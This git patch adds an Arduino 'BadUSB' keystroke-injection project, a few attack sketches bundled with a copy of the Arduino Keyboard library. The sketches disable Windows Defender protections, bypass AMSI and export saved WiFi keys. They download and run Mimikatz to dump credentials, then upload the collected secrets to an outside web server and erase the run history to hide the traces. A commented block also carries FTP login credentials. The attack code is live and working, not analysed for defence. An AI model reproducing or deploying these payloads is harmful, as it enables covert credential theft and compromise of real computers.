From aee46fdfa5598c06b0482823eb4b51b5ac4dd888 Mon Sep 17 00:00:00 2001 From: Dominic Reich Date: Tue, 24 Dec 2024 09:05:46 +0100 Subject: [PATCH] first commit; from FreeBSD dot files --- Makefile | 8 + badusb.ino | 302 ++++++++++++++++++ badusb.ino.disableTamperWorks | 174 ++++++++++ badusb.ino.works | 85 +++++ libraries/Keyboard/keywords.txt | 24 ++ libraries/Keyboard/library.properties | 9 + libraries/Keyboard/src/Keyboard.cpp | 214 +++++++++++++ libraries/Keyboard/src/Keyboard.h | 151 +++++++++ libraries/Keyboard/src/KeyboardLayout.h | 67 ++++ .../Keyboard/src/KeyboardLayout_da_DK.cpp | 138 ++++++++ .../Keyboard/src/KeyboardLayout_de_DE.cpp | 138 ++++++++ .../Keyboard/src/KeyboardLayout_en_US.cpp | 138 ++++++++ .../Keyboard/src/KeyboardLayout_es_ES.cpp | 138 ++++++++ .../Keyboard/src/KeyboardLayout_fr_FR.cpp | 138 ++++++++ .../Keyboard/src/KeyboardLayout_hu_HU.cpp | 144 +++++++++ .../Keyboard/src/KeyboardLayout_it_IT.cpp | 138 ++++++++ .../Keyboard/src/KeyboardLayout_pt_PT.cpp | 138 ++++++++ .../Keyboard/src/KeyboardLayout_sv_SE.cpp | 138 ++++++++ libraries/Keyboard/src/Keyboard_da_DK.h | 44 +++ libraries/Keyboard/src/Keyboard_de_DE.h | 45 +++ libraries/Keyboard/src/Keyboard_es_ES.h | 45 +++ libraries/Keyboard/src/Keyboard_fr_FR.h | 46 +++ libraries/Keyboard/src/Keyboard_hu_HU.h | 52 +++ libraries/Keyboard/src/Keyboard_it_IT.h | 44 +++ libraries/Keyboard/src/Keyboard_pt_PT.h | 44 +++ libraries/Keyboard/src/Keyboard_sv_SE.h | 44 +++ 26 files changed, 2646 insertions(+) create mode 100644 Makefile create mode 100644 badusb.ino create mode 100644 badusb.ino.disableTamperWorks create mode 100644 badusb.ino.works create mode 100644 libraries/Keyboard/keywords.txt create mode 100644 libraries/Keyboard/library.properties create mode 100644 libraries/Keyboard/src/Keyboard.cpp create mode 100644 libraries/Keyboard/src/Keyboard.h create mode 100644 libraries/Keyboard/src/KeyboardLayout.h create mode 100644 libraries/Keyboard/src/KeyboardLayout_da_DK.cpp create mode 100644 libraries/Keyboard/src/KeyboardLayout_de_DE.cpp create mode 100644 libraries/Keyboard/src/KeyboardLayout_en_US.cpp create mode 100644 libraries/Keyboard/src/KeyboardLayout_es_ES.cpp create mode 100644 libraries/Keyboard/src/KeyboardLayout_fr_FR.cpp create mode 100644 libraries/Keyboard/src/KeyboardLayout_hu_HU.cpp create mode 100644 libraries/Keyboard/src/KeyboardLayout_it_IT.cpp create mode 100644 libraries/Keyboard/src/KeyboardLayout_pt_PT.cpp create mode 100644 libraries/Keyboard/src/KeyboardLayout_sv_SE.cpp create mode 100644 libraries/Keyboard/src/Keyboard_da_DK.h create mode 100644 libraries/Keyboard/src/Keyboard_de_DE.h create mode 100644 libraries/Keyboard/src/Keyboard_es_ES.h create mode 100644 libraries/Keyboard/src/Keyboard_fr_FR.h create mode 100644 libraries/Keyboard/src/Keyboard_hu_HU.h create mode 100644 libraries/Keyboard/src/Keyboard_it_IT.h create mode 100644 libraries/Keyboard/src/Keyboard_pt_PT.h create mode 100644 libraries/Keyboard/src/Keyboard_sv_SE.h diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..44c8518 --- /dev/null +++ b/Makefile @@ -0,0 +1,8 @@ +BOARD_TAG = leonardo + +USER_LIB_PATH = ./libraries +ARDUINO_LIBS = HID Keyboard +AVRDUDE_CONF = /etc/avrdude.conf + +include /usr/local/share/arduino-makefile/Arduino.mk + diff --git a/badusb.ino b/badusb.ino new file mode 100644 index 0000000..6979912 --- /dev/null +++ b/badusb.ino @@ -0,0 +1,302 @@ +/* badusb.ino + * Author: Dominic Reich (OE7DRT), dominic@oe7drt.com + * Created November 25th, 2023 + * Last modified: 2024-12-24T08:58:01+0100 on Arch [Odin] X1 + * + * Waits 15 seconds after plugged in, then it starts to remove antivirus + * definitions of Windows Defender and disables monitoring. Right after it + * disables Anti-Tampering in the Windows-Security GUI. + * The script collects some useful information about the computer, its + * network and the currently active routes as well as listening ports and + * its processes. It also saves (if possible) the product key as well as + * saved WiFi networks. Finally it launches mimikatz and dumps windows + * secrets and uploads everything to my webserver via HTTP POST. + * It then removes the run history (Win+R) and closes the terminal window. + * + * Based on the examples from + * https://www.instructables.com/A-BadUSB-Device-With-Arduino/ + * + * Following times are outdated as I added some commands which take + * a few seconds of time: + * Time until I have everything on my server: ~42 sec + * Time until script finished locally: ~49 sec + * Time until execution starts (waiting time): 15 sec + */ + +#include +#define KEY_DELAY 50 //delay between keystrokes for slow computers + +void disableTampering() { + // Disable tamper protection with the Windows GUI on Windows 10 + // Tested on my Lenovo T420 running Windows 10 {VERSION} + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(700); + + Keyboard.println("windowsdefender:"); + delay(3000); + + // maximize window because on small screens the focus of the button changes + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(' '); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(200); + Keyboard.press('x'); + delay(KEY_DELAY); + Keyboard.release('x'); + delay(400); + + // Viren- und Bedrohungsschutz + Keyboard.press(KEY_RETURN); + delay(KEY_DELAY); + Keyboard.release(KEY_RETURN); + delay(1400); + + // move down to Einstellungen verwalten + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(KEY_RETURN); + delay(KEY_DELAY); + Keyboard.release(KEY_RETURN); + delay(1400); + + + // Disable Echtzeitschutz + Keyboard.press(' '); + delay(KEY_DELAY); + Keyboard.release(' '); + delay(KEY_DELAY); + + // yes do it with ALT+j + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press('j'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(1200); + + + // move down to Cloudbasierter Schutz slider + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(' '); + delay(KEY_DELAY); + Keyboard.release(' '); + delay(1400); + + // go ahead and disable Automatische Übermittlung von Beispielen + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(' '); + delay(KEY_DELAY); + Keyboard.release(' '); + delay(1400); + + // disable Manipulationsschutz + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(' '); + delay(KEY_DELAY); + Keyboard.release(' '); + delay(1400); + + // close window with alt f4 + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(KEY_F4); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(700); +} + +void setup() { + // Keyboard.begin(); + Keyboard.begin(KeyboardLayout_de_DE); + //I recommend that you leave a short delay before start while prototyping. + //It will will give you some time to reprogram a board before it starts typing. + delay(15000); + + // normal program, only run it once at startup + + disableTampering(); + + // Windows + R + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(900); + + // Start cmd as Administrator + Keyboard.println("powershell Start-Process cmd -Verb runAs"); + delay(4600); + + // press ALT + j to confirm execution as Administrator + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press('j'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(1700); + + // If no UAC enabled, we printed j on the console, let's + // initiate a few CTRL+C's to cancel that and get a fresh + // prompt... + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press('c'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(100); + + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press('c'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(100); + + // Disable Defender; wait a bit longer, because recent only `ershell ...` was printed + Keyboard.println("\"C:\\program files\\windows defender\\mpcmdrun.exe\" -RemoveDefinitions -All Set-MpPreference -DisableOAVProtection $true"); + delay(400); + + // Start powershell; wait longer because the OS has to bring another window to foreground + Keyboard.println("powershell"); + delay(2600); + + // Add C: to Defender exclusion list + Keyboard.println("Add-MpPreference -ExclusionPath \"C:\\\""); + delay(400); + + Keyboard.println("\"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed'.'NonPublic,Static').SetValue($null,$true)\""); + delay(400); + + // get some information about the network + Keyboard.println("cd $ENV:UserProfile"); + delay(400); + + Keyboard.println("New-Item -Name \"tmp\" -Type Directory -Force"); + delay(100); + Keyboard.println("cd tmp"); + delay(100); + + Keyboard.println("netsh wlan export profile key=clear"); + delay(400); + + Keyboard.println("ipconfig /all > ipc.txt"); + delay(400); + + Keyboard.println("netstat -rn > nr.txt"); + delay(400); + Keyboard.println("netstat -anb >> nr.txt"); + delay(400); + + Keyboard.println("systeminfo > pc.txt"); + delay(4600); + + Keyboard.println("Get-ComputerInfo > pspc.txt"); + delay(4600); + + Keyboard.println("Reg export \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform\" prodkey.txt /y"); + delay(400); + + // ftp connection (windows ftp does not know about passive ftp) + // Keyboard.println("ftp"); + // delay(200); + // Keyboard.println("open bor.oe7drt.com"); + // delay(400); + // Keyboard.println("mimiwauz"); + // delay(400); + // Keyboard.println("harschbichl"); + // delay(400); + // Keyboard.println("prompt"); + // delay(400); + // Keyboard.println("mput *.*"); + // delay(400); + // Keyboard.println("quit"); + // delay(400); + + // Keyboard.println("((sc -NoNewLine -Encoding Ascii .\\Report.txt -Value(gc *.*) -join """`n""") + """`n""")"); + // delay(KEY_DELAY); + // Keyboard.println("$report=gc .\\Report.txt"); + Keyboard.println("$report=gc -Encoding utf8 -Delimiter \"'n\" *.*"); + delay(400); + + Keyboard.println("(New-Object Net.WebClient).UploadString('http://bor.oe7drt.com/rx-net.php',$report)"); + delay(2200); + + Keyboard.println("cd .."); + delay(400); + + Keyboard.println("Remove-Item -Recurse -Force tmp"); + delay(400); + + // exit powershell (because the next commands have to run in a separated powershell process) + Keyboard.println("exit"); + delay(2200); + + // Download and execute mimikatz; then upload result log + Keyboard.println("powershell \"IEX (New-Object Net.WebClient).DownloadString('http://bor.oe7drt.com/im.ps1');$output=Invoke-Mimikatz -DumpCreds;(New-Object Net.WebClient).UploadString('http://bor.oe7drt.com/imrx.php',$output)\""); + // Keyboard.println("IEX (New-Object Net.WebClient).DownloadString('http://bor.oe7drt.com/im.ps1');$output=Invoke-Mimikatz -DumpCreds;(New-Object Net.WebClient).UploadString('http://bor.oe7drt.com/imrx.php',$output)"); + delay(9000); + + // Clear run history + Keyboard.println("powershell \"Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' -Name '*' -ErrorAction SilentlyContinue\""); + // Keyboard.println("Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' -Name '*' -ErrorAction SilentlyContinue"); + delay(400); + + // show wlan passwords + // Keyboard.println("netsh wlan show profile key=clear"); + // delay(8000); + + // exit cmd window + Keyboard.println("exit"); + delay(KEY_DELAY); + + Keyboard.end(); +} + +void loop() { + // do nothing in loop() -- or should we restart the computer? or lock it? or delete something? + // or start a fork bomb etc... +} diff --git a/badusb.ino.disableTamperWorks b/badusb.ino.disableTamperWorks new file mode 100644 index 0000000..08e5119 --- /dev/null +++ b/badusb.ino.disableTamperWorks @@ -0,0 +1,174 @@ +#include +#define KEY_DELAY 50 //delay between keystrokes for slow computers + +void disableTampering() { + // Disable tamper protection with the Windows GUI on Windows 10 + // Tested on my Lenovo T420 running Windows 10 {VERSION} + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(700); + + Keyboard.println("windowsdefender:"); + delay(2800); + + // Viren- und Bedrohungsschutz + Keyboard.press(KEY_RETURN); + delay(KEY_DELAY); + Keyboard.release(KEY_RETURN); + delay(1200); + + // move down to Einstellungen verwalten + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(KEY_RETURN); + delay(KEY_DELAY); + Keyboard.release(KEY_RETURN); + delay(1200); + + // move down to Manipulationsschutz slider + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(KEY_TAB); + delay(KEY_RETURN); + Keyboard.release(KEY_TAB); + delay(KEY_DELAY); + + Keyboard.press(' '); + delay(KEY_DELAY); + Keyboard.release(' '); + delay(1200); + + // yes do it with ALT+j + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press('j'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(1000); + + // close window with alt f4 + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(KEY_F4); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(500); +} + +void setup() { + // Keyboard.begin(); + Keyboard.begin(KeyboardLayout_de_DE); + //I recommend that you leave a short delay before start while prototyping. + //It will will give you some time to reprogram a board before it starts typing. + delay(15000); + + // normal program, only run it once at startup + + disableTampering(); + + // Windows + R + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(700); + + // Start cmd as Administrator + Keyboard.println("powershell Start-Process cmd -Verb runAs"); + delay(2500); + + // press ALT + j to confirm execution as Administrator + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press('j'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(1500); + + // If no UAC enabled, we printed j on the console, let's + // initiate a few CTRL+C's to cancel that and get a fresh + // prompt... + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press('c'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(200); + + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press('c'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(300); + + // Disable Defender; wait a bit longer, because recent only `ershell ...` was printed + Keyboard.println("\"C:\\program files\\windows defender\\mpcmdrun.exe\" -RemoveDefinitions -All Set-MpPreference -DisableOAVProtection $true"); + delay(200); + + // Start powershell; wait longer because the OS has to bring another window to foreground + Keyboard.println("powershell"); + delay(200); + + // Add C: to Defender exclusion list + Keyboard.println("Add-MpPreference -ExclusionPath \"C:\\\""); + delay(200); + + Keyboard.println("\"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed'.'NonPublic,Static').SetValue($null,$true)\""); + delay(200); + Keyboard.println("exit"); + delay(2500); + + // Download and execute mimikatz; then upload result log + Keyboard.println("powershell \"IEX (New-Object Net.WebClient).DownloadString('http://bor.oe7drt.com/im.ps1');$output=Invoke-Mimikatz -DumpCreds;(New-Object Net.WebClient).UploadString('http://bor.oe7drt.com/imrx.php',$output)\""); + // Keyboard.println("IEX (New-Object Net.WebClient).DownloadString('http://bor.oe7drt.com/im.ps1');$output=Invoke-Mimikatz -DumpCreds;(New-Object Net.WebClient).UploadString('http://bor.oe7drt.com/imrx.php',$output)"); + delay(9000); + + // Clear run history + Keyboard.println("powershell \"Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' -Name '*' -ErrorAction SilentlyContinue\""); + // Keyboard.println("Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' -Name '*' -ErrorAction SilentlyContinue"); + delay(400); + + // show wlan passwords + // Keyboard.println("netsh wlan show profile key=clear"); + // delay(8000); + + // exit cmd window + Keyboard.println("exit"); + delay(KEY_DELAY); + + Keyboard.end(); +} + +void loop() { + // do nothing in loop() -- or should we restart the computer? or lock it? or delete something? + // or start a fork bomb etc... +} diff --git a/badusb.ino.works b/badusb.ino.works new file mode 100644 index 0000000..cf8f28e --- /dev/null +++ b/badusb.ino.works @@ -0,0 +1,85 @@ +#include +#define KEY_DELAY 50 //delay between keystrokes for slow computers + +void setup() { + // Keyboard.begin(); + Keyboard.begin(KeyboardLayout_de_DE); + //I recommend that you leave a short delay before start while prototyping. + //It will will give you some time to reprogram a board before it starts typing. + delay(20000); + + // normal program, only run it once at startup + + // Windows + R + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(700); + + // Start cmd as Administrator + Keyboard.println("powershell Start-Process cmd -Verb runAs"); + delay(1500); + + // press ALT + j to confirm execution as Administrator + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press('j'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(1500); + + // If no UAC enabled, we printed j on the console, let's + // initiate a few CTRL+C's to cancel that and get a fresh + // prompt... + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press('c'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(200); + + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press('c'); + delay(KEY_DELAY); + Keyboard.releaseAll(); + delay(300); + + // Disable Defender; wait a bit longer, because recent only `ershell ...` was printed + Keyboard.println("\"C:\\program files\\windows defender\\mpcmdrun.exe\" -RemoveDefinitions -All Set-MpPreference -DisableOAVProtection $true"); + delay(200); + + // Start powershell; wait longer because the OS has to bring another window to foreground + Keyboard.println("powershell"); + delay(200); + + // Add C: to Defender exclusion list + Keyboard.println("Add-MpPreference -ExclusionPath \"C:\\\""); + delay(200); + + Keyboard.println("\"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed'.'NonPublic,Static').SetValue($null,$true)\""); + delay(200); + Keyboard.println("exit"); + delay(400); + + // Download and execute mimikatz; then upload result log + Keyboard.println("powershell \"IEX (New-Object Net.WebClient).DownloadString('http://bor.oe7drt.com/im.ps1');$output=Invoke-Mimikatz -DumpCreds;(New-Object Net.WebClient).UploadString('http://bor.oe7drt.com/imrx.php',$output)\""); + delay(6000); + + // Clear run history + Keyboard.println("powershell \"Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' -Name '*' -ErrorAction SilentlyContinue\""); + delay(400); + + // show wlan passwords + Keyboard.println("netsh wlan export profile key=clear"); + delay(8000); + + // exit cmd window + Keyboard.println("exit"); + delay(KEY_DELAY); + + Keyboard.end(); +} + +void loop() { + // do nothing in loop() -- or should we restart the computer? or lock it? or delete something? + // or start a fork bomb etc... +} diff --git a/libraries/Keyboard/keywords.txt b/libraries/Keyboard/keywords.txt new file mode 100644 index 0000000..2078f03 --- /dev/null +++ b/libraries/Keyboard/keywords.txt @@ -0,0 +1,24 @@ +####################################### +# Syntax Coloring Map For Keyboard +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### + +Keyboard KEYWORD1 + +####################################### +# Methods and Functions (KEYWORD2) +####################################### + +begin KEYWORD2 +write KEYWORD2 +press KEYWORD2 +release KEYWORD2 +releaseAll KEYWORD2 + +####################################### +# Constants (LITERAL1) +####################################### + diff --git a/libraries/Keyboard/library.properties b/libraries/Keyboard/library.properties new file mode 100644 index 0000000..b5c99d8 --- /dev/null +++ b/libraries/Keyboard/library.properties @@ -0,0 +1,9 @@ +name=Keyboard +version=1.0.5 +author=Arduino +maintainer=Arduino +sentence=Allows an Arduino board with USB capabilities to act as a Keyboard. +paragraph=This library plugs on the HID library. It can be used with or without other HID-based libraries (Mouse, Gamepad etc) +category=Device Control +url=https://www.arduino.cc/reference/en/language/functions/usb/keyboard/ +architectures=avr, samd, sam diff --git a/libraries/Keyboard/src/Keyboard.cpp b/libraries/Keyboard/src/Keyboard.cpp new file mode 100644 index 0000000..d9fcbad --- /dev/null +++ b/libraries/Keyboard/src/Keyboard.cpp @@ -0,0 +1,214 @@ +/* + Keyboard.cpp + + Copyright (c) 2015, Arduino LLC + Original code (pre-library): Copyright (c) 2011, Peter Barrett + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#include "Keyboard.h" +#include "KeyboardLayout.h" + +#if defined(_USING_HID) + +//================================================================================ +//================================================================================ +// Keyboard + +static const uint8_t _hidReportDescriptor[] PROGMEM = { + + // Keyboard + 0x05, 0x01, // USAGE_PAGE (Generic Desktop) // 47 + 0x09, 0x06, // USAGE (Keyboard) + 0xa1, 0x01, // COLLECTION (Application) + 0x85, 0x02, // REPORT_ID (2) + 0x05, 0x07, // USAGE_PAGE (Keyboard) + + 0x19, 0xe0, // USAGE_MINIMUM (Keyboard LeftControl) + 0x29, 0xe7, // USAGE_MAXIMUM (Keyboard Right GUI) + 0x15, 0x00, // LOGICAL_MINIMUM (0) + 0x25, 0x01, // LOGICAL_MAXIMUM (1) + 0x75, 0x01, // REPORT_SIZE (1) + + 0x95, 0x08, // REPORT_COUNT (8) + 0x81, 0x02, // INPUT (Data,Var,Abs) + 0x95, 0x01, // REPORT_COUNT (1) + 0x75, 0x08, // REPORT_SIZE (8) + 0x81, 0x03, // INPUT (Cnst,Var,Abs) + + 0x95, 0x06, // REPORT_COUNT (6) + 0x75, 0x08, // REPORT_SIZE (8) + 0x15, 0x00, // LOGICAL_MINIMUM (0) + 0x25, 0x73, // LOGICAL_MAXIMUM (115) + 0x05, 0x07, // USAGE_PAGE (Keyboard) + + 0x19, 0x00, // USAGE_MINIMUM (Reserved (no event indicated)) + 0x29, 0x73, // USAGE_MAXIMUM (Keyboard Application) + 0x81, 0x00, // INPUT (Data,Ary,Abs) + 0xc0, // END_COLLECTION +}; + +Keyboard_::Keyboard_(void) +{ + static HIDSubDescriptor node(_hidReportDescriptor, sizeof(_hidReportDescriptor)); + HID().AppendDescriptor(&node); + _asciimap = KeyboardLayout_en_US; +} + +void Keyboard_::begin(const uint8_t *layout) +{ + _asciimap = layout; +} + +void Keyboard_::end(void) +{ +} + +void Keyboard_::sendReport(KeyReport* keys) +{ + HID().SendReport(2,keys,sizeof(KeyReport)); +} + +uint8_t USBPutChar(uint8_t c); + +// press() adds the specified key (printing, non-printing, or modifier) +// to the persistent key report and sends the report. Because of the way +// USB HID works, the host acts like the key remains pressed until we +// call release(), releaseAll(), or otherwise clear the report and resend. +size_t Keyboard_::press(uint8_t k) +{ + uint8_t i; + if (k >= 136) { // it's a non-printing key (not a modifier) + k = k - 136; + } else if (k >= 128) { // it's a modifier key + _keyReport.modifiers |= (1<<(k-128)); + k = 0; + } else { // it's a printing key + k = pgm_read_byte(_asciimap + k); + if (!k) { + setWriteError(); + return 0; + } + if ((k & ALT_GR) == ALT_GR) { + _keyReport.modifiers |= 0x40; // AltGr = right Alt + k &= 0x3F; + } else if ((k & SHIFT) == SHIFT) { + _keyReport.modifiers |= 0x02; // the left shift modifier + k &= 0x7F; + } + if (k == ISO_REPLACEMENT) { + k = ISO_KEY; + } + } + + // Add k to the key report only if it's not already present + // and if there is an empty slot. + if (_keyReport.keys[0] != k && _keyReport.keys[1] != k && + _keyReport.keys[2] != k && _keyReport.keys[3] != k && + _keyReport.keys[4] != k && _keyReport.keys[5] != k) { + + for (i=0; i<6; i++) { + if (_keyReport.keys[i] == 0x00) { + _keyReport.keys[i] = k; + break; + } + } + if (i == 6) { + setWriteError(); + return 0; + } + } + sendReport(&_keyReport); + return 1; +} + +// release() takes the specified key out of the persistent key report and +// sends the report. This tells the OS the key is no longer pressed and that +// it shouldn't be repeated any more. +size_t Keyboard_::release(uint8_t k) +{ + uint8_t i; + if (k >= 136) { // it's a non-printing key (not a modifier) + k = k - 136; + } else if (k >= 128) { // it's a modifier key + _keyReport.modifiers &= ~(1<<(k-128)); + k = 0; + } else { // it's a printing key + k = pgm_read_byte(_asciimap + k); + if (!k) { + return 0; + } + if ((k & ALT_GR) == ALT_GR) { + _keyReport.modifiers &= ~(0x40); // AltGr = right Alt + k &= 0x3F; + } else if ((k & SHIFT) == SHIFT) { + _keyReport.modifiers &= ~(0x02); // the left shift modifier + k &= 0x7F; + } + if (k == ISO_REPLACEMENT) { + k = ISO_KEY; + } + } + + // Test the key report to see if k is present. Clear it if it exists. + // Check all positions in case the key is present more than once (which it shouldn't be) + for (i=0; i<6; i++) { + if (0 != k && _keyReport.keys[i] == k) { + _keyReport.keys[i] = 0x00; + } + } + + sendReport(&_keyReport); + return 1; +} + +void Keyboard_::releaseAll(void) +{ + _keyReport.keys[0] = 0; + _keyReport.keys[1] = 0; + _keyReport.keys[2] = 0; + _keyReport.keys[3] = 0; + _keyReport.keys[4] = 0; + _keyReport.keys[5] = 0; + _keyReport.modifiers = 0; + sendReport(&_keyReport); +} + +size_t Keyboard_::write(uint8_t c) +{ + uint8_t p = press(c); // Keydown + release(c); // Keyup + return p; // just return the result of press() since release() almost always returns 1 +} + +size_t Keyboard_::write(const uint8_t *buffer, size_t size) { + size_t n = 0; + while (size--) { + if (*buffer != '\r') { + if (write(*buffer)) { + n++; + } else { + break; + } + } + buffer++; + } + return n; +} + +Keyboard_ Keyboard; + +#endif diff --git a/libraries/Keyboard/src/Keyboard.h b/libraries/Keyboard/src/Keyboard.h new file mode 100644 index 0000000..e110404 --- /dev/null +++ b/libraries/Keyboard/src/Keyboard.h @@ -0,0 +1,151 @@ +/* + Keyboard.h + + Copyright (c) 2015, Arduino LLC + Original code (pre-library): Copyright (c) 2011, Peter Barrett + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#ifndef KEYBOARD_h +#define KEYBOARD_h + +#include "HID.h" + +#if !defined(_USING_HID) + +#warning "Using legacy HID core (non pluggable)" + +#else + +//================================================================================ +//================================================================================ +// Keyboard + +// Modifiers +#define KEY_LEFT_CTRL 0x80 +#define KEY_LEFT_SHIFT 0x81 +#define KEY_LEFT_ALT 0x82 +#define KEY_LEFT_GUI 0x83 +#define KEY_RIGHT_CTRL 0x84 +#define KEY_RIGHT_SHIFT 0x85 +#define KEY_RIGHT_ALT 0x86 +#define KEY_RIGHT_GUI 0x87 + +// Misc keys +#define KEY_UP_ARROW 0xDA +#define KEY_DOWN_ARROW 0xD9 +#define KEY_LEFT_ARROW 0xD8 +#define KEY_RIGHT_ARROW 0xD7 +#define KEY_BACKSPACE 0xB2 +#define KEY_TAB 0xB3 +#define KEY_RETURN 0xB0 +#define KEY_MENU 0xED // "Keyboard Application" in USB standard +#define KEY_ESC 0xB1 +#define KEY_INSERT 0xD1 +#define KEY_DELETE 0xD4 +#define KEY_PAGE_UP 0xD3 +#define KEY_PAGE_DOWN 0xD6 +#define KEY_HOME 0xD2 +#define KEY_END 0xD5 +#define KEY_CAPS_LOCK 0xC1 +#define KEY_PRINT_SCREEN 0xCE // Print Screen / SysRq +#define KEY_SCROLL_LOCK 0xCF +#define KEY_PAUSE 0xD0 // Pause / Break + +// Numeric keypad +#define KEY_NUM_LOCK 0xDB +#define KEY_KP_SLASH 0xDC +#define KEY_KP_ASTERISK 0xDD +#define KEY_KP_MINUS 0xDE +#define KEY_KP_PLUS 0xDF +#define KEY_KP_ENTER 0xE0 +#define KEY_KP_1 0xE1 +#define KEY_KP_2 0xE2 +#define KEY_KP_3 0xE3 +#define KEY_KP_4 0xE4 +#define KEY_KP_5 0xE5 +#define KEY_KP_6 0xE6 +#define KEY_KP_7 0xE7 +#define KEY_KP_8 0xE8 +#define KEY_KP_9 0xE9 +#define KEY_KP_0 0xEA +#define KEY_KP_DOT 0xEB + +// Function keys +#define 